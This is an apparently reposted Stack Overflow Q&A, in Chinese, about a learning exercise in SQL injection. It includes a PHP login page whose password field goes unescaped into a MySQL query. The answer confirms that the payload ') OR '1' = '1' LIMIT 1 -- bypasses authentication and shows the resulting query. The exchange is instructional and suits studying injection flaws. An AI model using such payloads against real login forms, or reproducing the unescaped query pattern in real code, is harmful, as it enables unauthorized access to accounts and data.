gpt4 book ai didi

php - 一个简单的 SQL 请求

转载 作者:行者123 更新时间:2023-11-30 22:58:12 29 4
gpt4 key购买 nike

出于学习目的(这只是一个练习),我必须尝试通过 SQL 注入(inject)一个简单的 PHP 代码。这是代码:

$query = sprintf("SELECT * FROM my_table WHERE login = '%s' AND password = MD5('%s')",      mysql_real_escape_string($_POST['login']),      $_POST['password']  );

$sql = mysql_query($query);

if (@mysql_num_rows($sql) == 1)

$auth = TRUE;

访问权限由“$auth = TRUE”授予。我知道弱点在密码字段中,因为字符没有转义。但是我不明白。我已经尝试过很多字符串,使用我认为我知道的并且优先于 OR 之类的东西:

‘) OR id = 1 AND MD5(‘a’) = MD5(‘a

我想我忽略了一些关于 SQL 请求语法的内容。如果有人能指出来就太棒了!

提前致谢:)

/////编辑/////

我试过

‘) OR ‘1’ = ‘1’ LIMIT 1 —

但没有成功...

这里是“页面”的完整代码:

<?php

# Easy starter :)

/* Init database
-- Table structure for table `haxorz_memberz`
--

CREATE TABLE IF NOT EXISTS `haxorz_memberz` (
`login` varchar(15) collate utf8_unicode_ci NOT NULL,
`password` varchar(65) collate utf8_unicode_ci NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
*/

define('BDD_HOST', 'localhost');
define('BDD_USER', 'FIXME');
define('BDD_PASSWORD', 'FIXME');
define('BDD_DATABASE', 'FIXME');

define('CHALLENGE_PASSWORD', 'FIXME');

require_once dirname(__FILE__).'/inc/lang.php';
require_once dirname(__FILE__).'/inc/header.php';

$auth = FALSE;

if (isset($_POST['login'], $_POST['password']) && is_string($_POST['login']) && is_string($_POST['password']))
{
$con = mysql_connect(BDD_HOST, BDD_USER, BDD_PASSWORD);
mysql_select_db(BDD_DATABASE, $con);

$query = sprintf("SELECT * FROM haxorz_memberz WHERE login = '%s' AND password = MD5('%s')",
mysql_real_escape_string($_POST['login']),
$_POST['password']
);

$sql = mysql_query($query);

if (@mysql_num_rows($sql) == 1)
$auth = TRUE;
else
printf(fail);
}

if ($auth)
{
printf(greetz, CHALLENGE_PASSWORD);
}
else
{
echo <<< EOT
<form method="post" action="">
<table style="margin-left : auto; margin-right : auto;">
<tr><td><strong>Login</strong></td><td><input type="text" size="15" name="login" /></td></tr>
<tr><td><strong>Password<strong></td><td><input type="password" size="15" name="password" /></td></tr>
<tr><td colspan="2" style="text-align: center;"><input type="submit" /></td></tr>
</table>
</form>
EOT;

}

require_once dirname(__FILE__).'/inc/footer.php';

?>

最佳答案

您使用 ') OR '1' = '1' LIMIT 1 -- 的方法应该有效。但要确保

一个。 --后面有一个空格,否则不认为是注释。
b.您输入了有效的登录信息。

最终的查询应该是这样的

SELECT 
*
FROM
haxorz_memberz
WHERE
login = 'your_login' AND
password = MD5('') OR
'1' = '1'
LIMIT 1 -- ')

这是一个有效的查询,应该为您提供一个登录名 your_login

关于php - 一个简单的 SQL 请求,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/25295888/

29 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com